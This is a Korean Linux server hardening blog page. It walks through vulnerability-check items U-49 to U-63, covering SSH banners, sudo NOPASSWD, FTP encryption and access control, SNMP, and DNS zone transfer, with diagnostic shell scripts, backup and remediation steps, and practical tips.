cp -p /etc/issue.net /etc/issue.net.bak_$(date +%Y%m%d) 2>/dev/null

경고 문구 입시 적용

cat << 'EOF' > /etc/motd
*************************************************************************
* WARNING: Authorized users only. All activity may be monitored and     *
* reported. Unauthorized access will be prosecuted to the full extent   *
* of the law.                                                            *
*************************************************************************
EOF

cp /etc/motd /etc/issue
cp /etc/motd /etc/issue.net

SSH 설정 적용 및 데몬 리로드
/etc/ssh/sshd_config 내 아래 항목 확인 후 리로드
```
Banner /etc/issue.net
```
```
sshd -t
systemctl reload sshd
```

2.5. [U-63] sudo 명령어 접근 관리

① 점검 목적 및 개요

/etc/sudoers 파일에 비밀번호 인증 없는 root 권한 행사(NOPASSWD: ALL) 설정이 무분별하게 남용될 경우, 계정 탈취 시 시스템 전체 제어권이 해커에게 넘어가는 심각한 보안 사고로 이어집니다.

② 자동 진단 스크립트 분석

# U-63 점검 시작
CODE "[ U-63 ] sudo 명령어 접근 관리"

if [ -f /etc/sudoers ]; then
    # 주석(#)과 Defaults 설정을 제외하고 NOPASSWD와 ALL 구문이 동시에 존재하는 취약 라인 검색
    WEAK_SUDO=$(grep -E -v "^[[:space:]]*#|^[[:space:]]*Defaults" /etc/sudoers | grep "NOPASSWD" | grep "ALL")
    
    if [ -n "$WEAK_SUDO" ]; then
        WARN "/etc/sudoers 파일에 패스워드 없이 root 권한을 행사할 수 있는 취약한 설정(NOPASSWD)이 존재합니다." "발견된 취약 구문: [ $WEAK_SUDO ]"
    else
        OK "/etc/sudoers 파일에 NOPASSWD 구문이 남용되지 않았습니다." "모든 sudo 실행 시 인증 절차 준수 확인"
    fi
    
    # 수동 점검 대상 안내
    INFO "sudo 권한이 부여된 사용자 및 그룹 목록의 적절성을 시스템 관리자가 주기적으로 수동 점검해야 합니다." "기본 관리자(root, %wheel) 외 불필요한 sudo 허용 계정 점검"
else
    WARN "/etc/sudoers 파일을 찾을 수 없습니다." "파일 경로 확인"
fi
FINISH "[ U-63 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: /etc/sudoers 파일을 vi로 직접 수정하다가 문법 오류(Syntax Error)를 발생시킨 상태에서 세션을 종료하면, 이후 모든 일반 계정의 sudo 실행이 불가능해져 서버 락아웃(Lockout)이 발생하는 대형 장애가 생깁니다.
검증 절차: 수정 시 반드시 visudo 명령어를 사용하여 자동 문법 검사를 수행하거나, 파일 편집 후 별도의 터미널 창을 열어 sudo -v 명령으로 문법 정상 여부를 검증해야 합니다.
Ansible/CI/CD 환경 대안 설정: 자동화 배포 계정 등에 NOPASSWD 부여가 불가피한 경우, ALL 구문을 피하고 서비스 재시작 등 필요한 특정 명령어 파이프라인으로 실행 범위를 제한해야 합니다.
```
# 권장 예시: 특정 명령어로 한정
deployer ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
```

④ 안전한 조치 절차

sudoers 파일 백업

cp -p /etc/sudoers /etc/sudoers.bak_$(date +%Y%m%d)

visudo를 이용한 파일 수정

visudo

취약 구문 수정 또는 주석 처리:

# 취약 설정: user01 ALL=(ALL) NOPASSWD: ALL
# 변경 조치: user01 ALL=(ALL) ALL

문법 검사 검증
```
visudo -c
```

3. 스크립트 한계점 분석 및 고도화 제안

3.1. 기존 스크립트의 점검 한계점

Include 분할 디렉터리 미인식: 최신 OS 환경(RHEL 8/9, Ubuntu 22.04/24.04 등)에서는 /etc/sudoers.d/ 또는 /etc/snmp/snmpd.conf.d/와 같은 분할 설정 디렉터리를 적극 활용합니다. 기존 스크립트는 단일 메인 파일만 검사하므로 분할 디렉터리에 위치한 취약한 설정을 탐지하지 못하는 오탐/미탐 가능성이 있습니다.
SSH 배너 미연동 탐지 한계: U-62 항목에서 /etc/issue.net 파일에 내용이 존재하더라도, SSH 데몬 설정(/etc/ssh/sshd_config)에서 Banner 지시어가 주석 처리되어 있으면 실제 원격 접속 시 배너가 표시되지 않는 오탐이 발생합니다.

3.2. 핵심 개선 로직 스니펫 (3~5줄)

# [개선 스니펫] sudoers.d 분할 디렉터리 포함 NOPASSWD 완벽 검사 로직
SUDO_FILES="/etc/sudoers $(ls /etc/sudoers.d/* 2>/dev/null)"
WEAK_SUDO_ALL=$(grep -E -v "^[[:space:]]*#" $SUDO_FILES 2>/dev/null | grep "NOPASSWD" | grep "ALL")
if [ -n "$WEAK_SUDO_ALL" ]; then
    WARN "/etc/sudoers 및 /etc/sudoers.d/ 내에 무제한 NOPASSWD 설정 발견: [ $WEAK_SUDO_ALL ]"
fi

4. 마치며

SNMP 서비스 및 접속 권한 관련 설정은 시스템 관리의 편의성과 보안성이 팽팽하게 대립하는 영역입니다. 조치 과정에서 관리자 인증 세션 단절이나 관제 시스템 모니터링 중단과 같은 장애가 발생하지 않도록, 반드시 본 가이드에 안내된 사전 백업과 문법 검사 절차를 준수해 주시기 바랍니다.

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본을 공유받기 원하시는 분은 하단의 비밀 댓글로 이메일 주소를 남겨 주시면 확인 후 일괄 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

2026.07.28 - [보안취약점점검/보안취약점점검_리눅스] - [리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

[리눅스 보안 점검] 서비스 관리 보안 분야 (U-54 ~ U-58) 종합 진단 및 실무 조치 가이드

보안실무자J — Fri, 18 Sep 2026 09:33:52 +0900

서비스 관리 그룹의 핵심 보안인 U-54부터 U-58까지의 항목에 대해 자동 진단 기법과 안전한 조치 및 백업 절차를 안내해 드립니다. FTP 및 SNMP 서비스의 평문 전송 위험, 쉘 제한, 접근 제어 파일 미설정 등의 보안 취약점을 점검하고 장애 없는 인프라 환경을 구축하기 위한 10년 차 엔지니어의 실무 노하우를 전달합니다.

1. 서비스 관리 및 암호화 설정 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-54	암호화되지 않는 FTP 서비스 비활성화	/etc/vsftpd/vsftpd.conf /etc/proftpd/proftpd.conf	FTP 서비스가 비활성화되어 있거나, FTPS/SFTP 등 암호화 통신이 적용된 경우	상
U-55	FTP 계정 Shell 제한	/etc/passwd	ftp 시스템 계정의 로그인 쉘이 /sbin/nologin 또는 /bin/false로 설정된 경우	중
U-56	FTP 서비스 접근 제어 설정	/etc/hosts.deny /etc/vsftpd/vsftpd.conf	TCP Wrapper(ALL:ALL) 통제 또는 FTP 자체 접근 제한(userlist_enable)이 설정된 경우	중
U-57	Ftpusers 파일 설정	/etc/ftpusers /etc/vsftpd/ftpusers	ftpusers 파일이 존재하며 root 계정이 명시적으로 등록되어 접속이 차단된 경우	상
U-58	불필요한 SNMP 서비스 구동 점검	snmpd.service 프로세스 목록 (ps)	NMS 용도로 사용하지 않는 SNMP 서비스(snmpd)가 비활성화되어 있는 경우	중

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-54] 암호화되지 않는 FTP 서비스 비활성화

① 점검 목적 및 개요

전통적인 FTP 프로토콜(21/tcp)은 계정 정보와 데이터를 평문(Plaintext)으로 전송하므로, 동일 네트워크 내의 스니핑(Sniffing) 공격으로 인해 관리자 자격 증명이 노출될 수 있습니다. 본 점검은 암호화되지 않은 FTP 통신을 차단하고 TLS/SSL을 적용한 FTPS 모드 또는 SSH 기반의 SFTP 모드로 전환되어 있는지 확인하는 것을 목적으로 합니다.

② 자동 진단 스크립트 분석

# [상세 해설] FTP 데몬 프로세스 및 systemd 서비스 활성화 상태 확인
FTP_RUNNING="FALSE"
if ps -ef | grep -E "vsftpd|proftpd|in.ftpd" | grep -v "grep" >/dev/null || systemctl is-active --quiet vsftpd 2>/dev/null; then
    FTP_RUNNING="TRUE"
fi

# [상세 해설] FTP 구동 시 암호화(SSL/TLS) 적용 여부 검증
if [[ "$FTP_RUNNING" == "TRUE" ]]; then
    SECURE_FTP="FALSE"
    REASON_FTP=""

    # [상세 해설] vsftpd 설정 파일 내 ssl_enable 지시어 점검
    if [ -f /etc/vsftpd/vsftpd.conf ]; then
        if grep -E -i -q "^[[:space:]]*ssl_enable[[:space:]]*=[[:space:]]*YES" /etc/vsftpd/vsftpd.conf; then
            SECURE_FTP="TRUE"
            REASON_FTP="vsftpd.conf 에 ssl_enable=YES (FTPS) 설정이 적용되어 있습니다."
        else
            REASON_FTP="vsftpd.conf 에 ssl_enable=YES 설정이 누락되어 평문 전송 위험이 있습니다."
        fi
    # [상세 해설] proftpd 설정 파일 내 TLSProtocol 지시어 점검
    elif [ -f /etc/proftpd/proftpd.conf ] || [ -f /etc/proftpd.conf ]; then
        CONF_FILE=$(ls /etc/proftpd/proftpd.conf /etc/proftpd.conf 2>/dev/null | head -1)
        if grep -E -i -q "^[[:space:]]*TLSProtocol" "$CONF_FILE"; then
            SECURE_FTP="TRUE"
            REASON_FTP="proftpd.conf 에 TLSProtocol 통신 설정이 적용되어 있습니다."
        else
            REASON_FTP="proftpd.conf 에 TLS 통신 설정이 누락되어 평문 전송 위험이 있습니다."
        fi
    else
        REASON_FTP="FTP 구동 중이나 설정 파일 위치를 찾을 수 없습니다 (수동 점검 필요)."
    fi

    if [[ "$SECURE_FTP" == "TRUE" ]]; then
        OK "FTP 서비스가 구동 중이나, 암호화된 통신(SFTP/FTPS)이 설정되어 있습니다." "$REASON_FTP"
    else
        WARN "암호화되지 않은 FTP 통신(21/tcp)이 동작 중이어서 스니핑 위험이 있습니다." "$REASON_FTP"
    fi
else
    OK "취약한 일반 FTP 서비스가 비활성화되어 있습니다. (SSH 기반의 SFTP 사용 권장)" "FTP 프로세스 미동작"
fi
FINISH "[ U-54 ] 점검완료"

③ 안전한 조치 및 백업 절차

FTP 서비스를 비활성화하고 OpenSSH 기반의 SFTP로 일원화하는 조치 절차입니다. FTPS가 반드시 필요한 경우 vsftpd.conf를 수정합니다.

설정 파일 백업

cp -p /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.bak_$(date +%Y%m%d)

FTP 서비스 완전 비활성화 (SFTP 사용 시 권장)

systemctl stop vsftpd
systemctl disable vsftpd

FTPS 설정 적용 (vsftpd 사용이 필수적인 경우)
/etc/vsftpd/vsftpd.conf 파일 하단에 다음 설정을 추가 또는 변경합니다.

ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=YES
force_local_logins_ssl=YES
ssl_tlsv1_2=YES
rsa_cert_file=/etc/ssl/certs/vsftpd.pem
rsa_private_key_file=/etc/ssl/private/vsftpd.key

서비스 검증 및 재시작
```
systemctl restart vsftpd
```

④ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 기존 연동 시스템(구형 레거시 API 클라이언트 등)이 TLS를 지원하지 않거나 암호화 핸드셰이크 처리를 못 하여 파일 전송 작업이 일괄 실패하는 장애가 빈번히 발생합니다.
안전 검증 방법: 조치 후 클라이언트 측에서 openssl s_client -connect [서버IP]:21 -starttls ftp 명령을 통해 인증서 및 TLS 핸드셰이크 동작 여부를 미리 확인해야 합니다.
특수 환경 조언: Cloud 및 MSA/DevOps 환경에서는 FTP 데몬을 전면 배제하고 AWS S3 SDK 또는 SSH Subsystem 기반 SFTP 전용 인프라를 사용하는 것이 운영 및 보안상 유리합니다.

2.2. [U-55] FTP 계정 Shell 제한

① 점검 목적 및 개요

시스템 내 ftp 계정은 익명 접속이나 전용 FTP 데몬 관리를 위해 존재하는 시스템 계정입니다. 해당 계정에 대화형 쉘(Shell) 권한이 부여되어 있으면 대화형 로그인 공격에 악용될 수 있으므로 로그인 불가능한 쉘(/sbin/nologin 또는 /bin/false)로 제한해야 합니다.

② 자동 진단 스크립트 분석

# [상세 해설] /etc/passwd 파일에서 ftp 계정의 로그인 쉘(7번째 필드) 추출
FTP_USER_SHELL=$(grep -E "^ftp:" /etc/passwd | awk -F: '{print $7}')

# [상세 해설] ftp 계정 존재 여부 및 쉘 제한(nologin/false/sync) 검증
if [ -n "$FTP_USER_SHELL" ]; then
    if echo "$FTP_USER_SHELL" | grep -E -q "nologin|false|sync"; then
        OK "ftp 시스템 계정에 로그인 불가능한 쉘이 안전하게 부여되어 있습니다." "/etc/passwd 내 ftp 계정의 쉘: $FTP_USER_SHELL"
    else
        WARN "ftp 시스템 계정에 로그인 가능한 쉘이 부여되어 있어 로컬 접속 악용 위험이 있습니다." "현재 부여된 쉘: $FTP_USER_SHELL (권고: /sbin/nologin)"
    fi
else
    OK "시스템 내에 ftp 기본 시스템 계정이 존재하지 않습니다." "/etc/passwd 에 ftp 계정 없음"
fi
FINISH "[ U-55 ] 점검완료"

③ 안전한 조치 및 백업 절차

계정 정보 파일 백업

cp -p /etc/passwd /etc/passwd.bak_$(date +%Y%m%d)

쉘 제한 조치 실행
```
usermod -s /sbin/nologin ftp
```
조치 결과 확인
```
grep -E "^ftp:" /etc/passwd
```

④ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: /etc/shells 파일에 /sbin/nologin 경로가 누락되어 일부 서비스 PAM 인증과의 마찰로 FTP 접속 자체가 거부되는 현상이 발생할 수 있습니다.
안전 검증 방법: cat /etc/shells 명령어로 사용 중인 nologin 쉘 경로가 등록되어 있는지 확인하십시오.
대안 환경 조언: FTP 데몬을 완벽히 격리하려면 OS 기본 계정이 아닌 vsftpd의 Virtual Users(가상 계정) 기능을 적용하여 DB나 별도 인증 파일로만 접속을 처리하는 방식이 안전합니다.

2.3. [U-56] FTP 서비스 접근 제어 설정

① 점검 목적 및 개요

FTP 서비스에 대한 무분별한 접근을 차단하기 위해 IP 기반 통제(TCP Wrapper) 또는 FTP 계정 기반 접근 제어 목록(userlist)을 구성하였는지 검증합니다.

② 자동 진단 스크립트 분석

# [상세 해설] FTP 동작 시 접근 제어 정책 적용 여부 점검
if [[ "$FTP_RUNNING" == "TRUE" ]]; then
    ACL_SAFE="FALSE"
    REASON_ACL=""

    # [상세 해설] 1. TCP Wrapper(/etc/hosts.deny)의 ALL:ALL 정책 유무 확인
    if [ -f /etc/hosts.deny ] && grep -E -q "^[[:space:]]*ALL[[:space:]]*:[[:space:]]*ALL" /etc/hosts.deny; then
        ACL_SAFE="TRUE"
        REASON_ACL="/etc/hosts.deny에 ALL:ALL 정책이 적용되어 기본 접근이 통제됨."
    # [상세 해설] 2. vsftpd 사용자 목록 접근제어(userlist_enable=YES) 확인
    elif [ -f /etc/vsftpd/vsftpd.conf ] && grep -E -i -q "^[[:space:]]*userlist_enable[[:space:]]*=[[:space:]]*YES" /etc/vsftpd/vsftpd.conf; then
        ACL_SAFE="TRUE"
        REASON_ACL="vsftpd.conf에 userlist_enable=YES 가 설정되어 인가된 계정만 통제됨."
    else
        REASON_ACL="TCP Wrapper 통제(ALL:ALL) 또는 FTP 자체 접근 제한(userlist)이 명시되어 있지 않습니다."
    fi

    if [[ "$ACL_SAFE" == "TRUE" ]]; then
        OK "FTP 서비스에 대한 접근 제어(IP 제한 또는 계정 통제)가 설정되어 있습니다." "$REASON_ACL"
    else
        WARN "FTP 서비스에 대한 명시적인 접근 통제 설정이 미흡합니다." "$REASON_ACL\n  => 참고 내용: 방화벽/iptables를 통한 IP 통제 시 양호 처리 가능"
    fi
else
    OK "FTP 서비스가 구동되지 않으므로 접근 제어 점검에 해당하지 않습니다 (N/A)." "해당 데몬 미사용"
fi
FINISH "[ U-56 ] 점검완료"

③ 안전한 조치 및 백업 절차

설정 파일 백업

cp -p /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.bak_$(date +%Y%m%d)

vsftpd 자체 접근 통제 적용
/etc/vsftpd/vsftpd.conf 내에 관련 옵션을 반영합니다.(참고: userlist_deny=NO 설정 시 user_list 파일에 명시된 계정만 접속이 허용됩니다.)

userlist_enable=YES
userlist_deny=NO
userlist_file=/etc/vsftpd/user_list

허용 계정 파일 작성 및 서비스 리로드

echo "authorized_user" > /etc/vsftpd/user_list
systemctl reload vsftpd

④ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: RHEL 8 이상 시스템에서는 TCP Wrapper(tcp_wrappers)가 공식 폐지되어 /etc/hosts.deny 설정이 동작하지 않습니다. 오직 vsftpd.conf나 방화벽(firewalld)으로 제어해야 합니다.
안전 검증 방법: userlist_deny=NO 설정 적용 시 정상 접속 계정이 user_list 파일에 포함되지 않아 모든 사용자의 FTP 접근이 차단되는 사고가 다수 발생하므로 리로드 전 목록을 반드시 재검증하십시오.

2.4. [U-57] Ftpusers 파일 설정

① 점검 목적 및 개요

ftpusers 파일은 FTP 접근을 거부할 계정 목록을 지정합니다. 최고 관리자 계정인 root가 누락될 경우, 외부에서 FTP를 통해 root 자격 증명으로 접속을 시도할 수 있어 심각한 위협이 됩니다.

② 자동 진단 스크립트 분석

# [상세 해설] FTP 구동 중일 때 ftpusers 경로 파악 및 root 계정 포함 여부 확인
if [[ "$FTP_RUNNING" == "TRUE" ]]; then
    FTPUSERS_FILE=""
    [ -f /etc/ftpusers ] && FTPUSERS_FILE="/etc/ftpusers"
    [ -f /etc/vsftpd/ftpusers ] && FTPUSERS_FILE="/etc/vsftpd/ftpusers"

    if [ -n "$FTPUSERS_FILE" ]; then
        # [상세 해설] 주석이 아닌 root 설정 구문 검사
        if grep -E -q "^[[:space:]]*root" "$FTPUSERS_FILE"; then
            OK "ftpusers 파일에 root 계정이 등록되어 있어 FTP를 통한 root 직접 접속이 차단되어 있습니다." "파일 경로: $FTPUSERS_FILE"
        else
            WARN "ftpusers 파일이 존재하나 root 계정이 누락되어 FTP를 통한 root 직접 접속이 가능할 수 있습니다." "root 등록 필요 ($FTPUSERS_FILE)"
        fi
    else
        WARN "ftpusers 파일(/etc/ftpusers 등)이 존재하지 않아 주요 관리자 계정의 접속 통제가 불가능합니다." "ftpusers 설정 파일 누락"
    fi
else
    OK "FTP 서비스가 구동되지 않으므로 ftpusers 설정 점검에 해당하지 않습니다 (N/A)." "해당 데몬 미사용"
fi
FINISH "[ U-57 ] 점검완료"

③ 안전한 조치 및 백업 절차

설정 파일 백업

[ -f /etc/vsftpd/ftpusers ] && cp -p /etc/vsftpd/ftpusers /etc/vsftpd/ftpusers.bak_$(date +%Y%m%d)
[ -f /etc/ftpusers ] && cp -p /etc/ftpusers /etc/ftpusers.bak_$(date +%Y%m%d)

root 계정 접속 차단 등록

if [ -f /etc/vsftpd/ftpusers ]; then
    grep -q "^root" /etc/vsftpd/ftpusers || echo "root" >> /etc/vsftpd/ftpusers
fi
if [ -f /etc/ftpusers ]; then
    grep -q "^root" /etc/ftpusers || echo "root" >> /etc/ftpusers
fi

설정 등록 결과 검증

grep -E "^root" /etc/ftpusers /etc/vsftpd/ftpusers 2>/dev/null

④ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: PAM 설정 파일(/etc/pam.d/vsftpd)에서 pam_listfile.so 모듈이 참조하는 파일 경로가 /etc/vsftpd/ftpusers로 지정되어 있는데, 엔지니어가 /etc/ftpusers만 수정하여 root 차단 정책이 정상적으로 동작하지 않는 사례가 빈번합니다.
안전 검증 방법: /etc/pam.d/vsftpd 파일을 열어 file= 구문에 지정된 실제 억제 목록 경로를 직접 대조 확인해야 합니다.

2.5. [U-58] 불필요한 SNMP 서비스 구동 점검

① 점검 목적 및 개요

SNMP(Simple Network Management Protocol)는 네트워크 장비 및 서버 상태 모니터링에 사용됩니다. NMS 환경이 구축되지 않은 서버에서 SNMP 데몬(snmpd)이 방치될 경우 커뮤니티 스트링 스니핑 및 시스템 인벤토리 정보 유출로 이어지므로 비활성화를 권장합니다.

② 자동 진단 스크립트 분석

# [상세 해설] snmpd 서비스 활성화 여부 및 프로세스 구동 확인
SNMP_RUNNING="FALSE"

if systemctl is-active --quiet snmpd 2>/dev/null || ps -ef | grep -E "snmpd" | grep -v "grep" >/dev/null; then
    SNMP_RUNNING="TRUE"
fi

if [[ "$SNMP_RUNNING" == "TRUE" ]]; then
    WARN "SNMP 서비스가 동작 중입니다. 네트워크 관리(NMS) 용도로 사용하지 않는다면 비활성화가 필요합니다." "snmpd 프로세스 발견"
    INFO "SNMP 사용이 필수적인 경우, 다음 항목(U-59~U-61)의 보안 설정을 반드시 점검하십시오." "운영 필요성 수동 검토 요망"
else
    OK "불필요한 SNMP 서비스가 안전하게 비활성화되어 있습니다." "snmpd 미동작"
fi
FINISH "[ U-58 ] 점검완료"

③ 안전한 조치 및 백업 절차

SNMP 미사용 시 서비스 차단 절차

systemctl stop snmpd
systemctl disable snmpd

프로세스 완전 중지 확인
```
ps -ef | grep snmpd | grep -v grep
```

④ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 관제/관측 가능성(Observability) 도구(예: Datadog, Zabbix, PRTG 등)에서 SNMP를 통해 CPU/Memory/Disk 메트릭을 수집하던 서버에서 사전 협의 없이 snmpd를 비활성화하여 대규모 모니터링 임계치 알람 장애가 발생한 경우가 있습니다.
안전 검증 방법: 조치 전 NMS 담당 부서에 타겟 서버의 SNMP 수집 여부를 질의하거나, netstat -nap | grep 161 명령을 통해 UDP 161 포트로 수신 패킷이 인바운드되는지 먼저 트래픽을 관찰하십시오.

3. 그룹 스크립트 한계점 및 예외 처리 종합 제안

1) 진단 스크립트의 기술적 한계점 분석

분할 설정 디렉터리(*.d/*.conf) 미인식:
최신 OS 패키지(예: RHEL 9, Ubuntu 24.04 등)의 vsftpd 또는 snmpd 설정은 단일 conf 파일이 아닌 /etc/vsftpd/conf.d/*.conf 디렉터리에 분할 설정 방식을 채택하는 경우가 늘어났습니다. 현 스크립트는 주 설정 파일만 점검하므로 오진이 일어날 수 있습니다.
Systemd Socket Activation 인식 미흡:
vsftpd가 독립 데몬이 아닌 vsftpd.socket 형태로 동작할 경우 ps -ef 조건절을 회피하여 실제 서비스가 동작 중임에도 미동작(OK)으로 잘못 판정할 수 있습니다.
TCP Wrapper 폐지에 따른 U-56 오탐:
RHEL 8+ 시스템에서는 /etc/hosts.deny가 제거되었으므로, 해당 파일만 체크할 경우 firewalld나 nftables로 안전하게 통제되어 있어도 취약(WARN)으로 판정될 위험이 있습니다.

2) 개선을 위한 스니펫 코드 (Snippet)

# [개선 스니펫] socket 상태 및 include 분할 설정 디렉터리까지 통합 진단하는 로직
IS_FTP_ACTIVE="FALSE"
if ps -ef | grep -E "vsftpd|proftpd" | grep -v "grep" >/dev/null || \
   systemctl is-active --quiet vsftpd 2>/dev/null || \
   systemctl is-active --quiet vsftpd.socket 2>/dev/null; then
    IS_FTP_ACTIVE="TRUE"
fi

# [개선 스니펫] Include 디렉터리 포함 주석 제거 설정값 추출 함수
check_ftp_param() {
    local param="$1"
    grep -r -E -i "^[[:space:]]*${param}" /etc/vsftpd/ 2>/dev/null | grep -v "#"
}

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본을 공유받기 원하시는 분은 하단의 비밀 댓글로 이메일 주소를 남겨 주시면 확인 후 일괄 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

2026.07.28 - [보안취약점점검/보안취약점점검_리눅스] - [리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

[리눅스 보안 점검] 서비스 관리 보안 (U-49 ~ U-53) 종합 진단 및 실무 조치 가이드

보안실무자J — Thu, 17 Sep 2026 10:39:27 +0900

본 가이드는 리눅스 서버 환경의 주요 서비스 관리 분야 중 DNS 설정 통제, 고위험 네트워크 데몬 비활성화 및 정보 노출 차단을 다루는 U-49부터 U-53까지의 진단 항목을 분석합니다. 자동 진단 스크립트의 작동 원리와 더불어 현장에서 발생할 수 있는 장애를 방지하는 안전한 조치 및 백업 절차를 상세히 안내해 드립니다.

1. 서비스 관리 (U-49 ~ U-53) 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-49	DNS 보안 버전 패치	BIND 실행 파일 (named)	DNS 서비스를 미운영하거나, BIND 최신 보안 패치버전을 적용한 경우	상
U-50	DNS Zone Transfer 설정	/etc/named.conf	Zone Transfer(영역 전송)를 허용하지 않거나 지정된 Master/Slave 서버 IP로만 제한한 경우	상
U-51	DNS 취약한 동적 업데이트 금지	/etc/named.conf	Zone 파일에 대한 동적 업데이트(allow-update)를 허용하지 않거나 비활성화한 경우	상
U-52	Telnet 서비스 비활성화	/etc/xinetd.d/telnet, telnet.socket	Telnet 서비스(데몬 및 소켓)가 비활성화되어 있고 SSH 서비스를 사용하는 경우	상
U-53	FTP 서비스 정보 노출 제한	/etc/vsftpd/vsftpd.conf, /etc/proftpd.conf	FTP 접속 시 출력되는 배너에 OS 및 서비스 버전 정보가 숨김 처리된 경우	하

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-49] DNS 보안 버전 패치

① 점검 목적 및 개요

DNS(BIND) 서비스는 도메인 이름을 IP 주소로 변환하는 핵심 인프라 서비스입니다. BIND의 구형 버전에는 원격 코드 실행(RCE), 서비스 거부(DoS), DNS 캐시 포이즈닝 등 치명적인 취약점이 지속적으로 발견됩니다. 따라서 운영 중인 BIND 버전을 최신으로 유지하여 공격에 악용되는 것을 방지해야 합니다.

② 자동 진단 스크립트 분석

# [ U-49 ] DNS 보안 버전 패치 점검 시작
CODE "[ U-49 ] DNS 보안 버전 패치"

# DNS 서비스(named 또는 bind)가 실제 프로세스/systemd 상에서 구동 중인지 검사
DNS_RUNNING="FALSE"
if systemctl is-active --quiet named 2>/dev/null || ps -ef | grep -E "named|bind" | grep -v "grep" >/dev/null; then
    DNS_RUNNING="TRUE"
fi

# DNS 구동 상태에 따른 버전 추출 및 수동 점검 유도
if [[ "$DNS_RUNNING" == "TRUE" ]]; then
    # named -v 명령을 통해 설치된 BIND 버전을 추출
    BIND_VER=$(named -v 2>/dev/null | head -n 1)
    INFO "DNS(BIND) 서비스가 동작 중입니다. BIND 버전에 대한 최신 보안 패치 적용 여부를 수동으로 점검하십시오." "현재 실행 중인 버전: [ ${BIND_VER:-버전 확인 불가} ]"
else
    # 미구동 시 취약점 노출 위험이 없으므로 양호 처리
    OK "DNS 서비스(named)가 동작하지 않아 버전 취약점 위험이 없습니다 (N/A)." "DNS 데몬 미운영"
fi
FINISH "[ U-49 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: BIND 패치 시 패키지 업데이트 과정에서 기존 설정 파일(/etc/named.conf)이 오버라이드되거나, Chroot 환경(/var/named/chroot) 내부의 권한 구조가 변경되어 패치 후 DNS 서비스가 정상 구동되지 않는 장애가 빈번히 발생합니다.
검증 절차: 패치 전후에 반드시 named -v 버전 확인과 함께, dig @localhost version.bind chaos txt 명령을 수행하여 내부/외부에서 BIND 버전이 그대로 노출되고 있는지 테스트해야 합니다.
특수 환경 조언: BIND 버전 노출 자체를 막기 위해 패치와 함께 /etc/named.conf 내 options 블록에 version "Unknown"; 구문을 추가하여 버전 그래빙 공격을 무력화하는 방어 전략을 권장합니다.

④ 안전한 조치 절차

설정 파일 및 Zone 파일 백업

cp -rp /etc/named.conf /etc/named.conf.bak_$(date +%Y%m%d)
cp -rp /var/named /var/named_bak_$(date +%Y%m%d)

패키지 업데이트 수행 (RHEL/Rocky 기준)
```
dnf update bind -y
```
설정 파일 문법 검사
```
named-checkconf /etc/named.conf
```

서비스 리로드 및 상태 확인

systemctl reload named
systemctl status named

2.2. [U-50] DNS Zone Transfer 설정

① 점검 목적 및 개요

Zone Transfer(영역 전송)는 Master DNS 서버와 Slave DNS 서버 간의 데이터 동기화를 위해 사용됩니다. 이 설정이 모든 대상(any)에 허용되어 있으면 인가되지 않은 제3자가 AXFR 요청을 보내 해당 도메인의 모든 서브도메인, IP 주소, 내부 시스템 정보 목록을 탈취할 수 있습니다.

② 자동 진단 스크립트 분석

# [ U-50 ] DNS Zone Transfer 설정 점검 시작
CODE "[ U-50 ] DNS Zone Transfer 설정"

if [[ "$DNS_RUNNING" == "TRUE" ]]; then
    if [ -f /etc/named.conf ]; then
        # allow-transfer 구문 내 any 키워드 존재 여부 확인 (취약)
        if grep -i "allow-transfer" /etc/named.conf | grep -i -q "any"; then
            WARN "DNS 서비스의 Zone Transfer(영역 전송)가 모든 IP(any)에 허용되어 있습니다." "named.conf 의 allow-transfer { any; } 설정은 존 파일 유출 위험"
        # allow-transfer 지시어가 명시되어 있는 경우 (양호)
        elif grep -i -q "allow-transfer" /etc/named.conf; then
            OK "DNS 서비스에 Zone Transfer(영역 전송) 제한이 명시적으로 설정되어 있습니다." "named.conf 의 allow-transfer 에 특정 IP 통제 적용됨"
        # 지시어 자체가 누락된 경우 (BIND 기본값 허용 위험 가능성 대응)
        else
            WARN "DNS 설정에 Zone Transfer(allow-transfer) 옵션이 명시되어 있지 않습니다. (기본값 허용 위험)" "named.conf 내 allow-transfer 구문 누락"
        fi
    else
        INFO "DNS 서비스가 동작 중이나 설정 파일(/etc/named.conf)을 찾을 수 없습니다." "파일 경로 확인 필요"
    fi
else
    OK "DNS 서비스(named)가 동작하지 않으므로 점검에 해당하지 않습니다 (N/A)." "해당 서비스 미사용"
fi
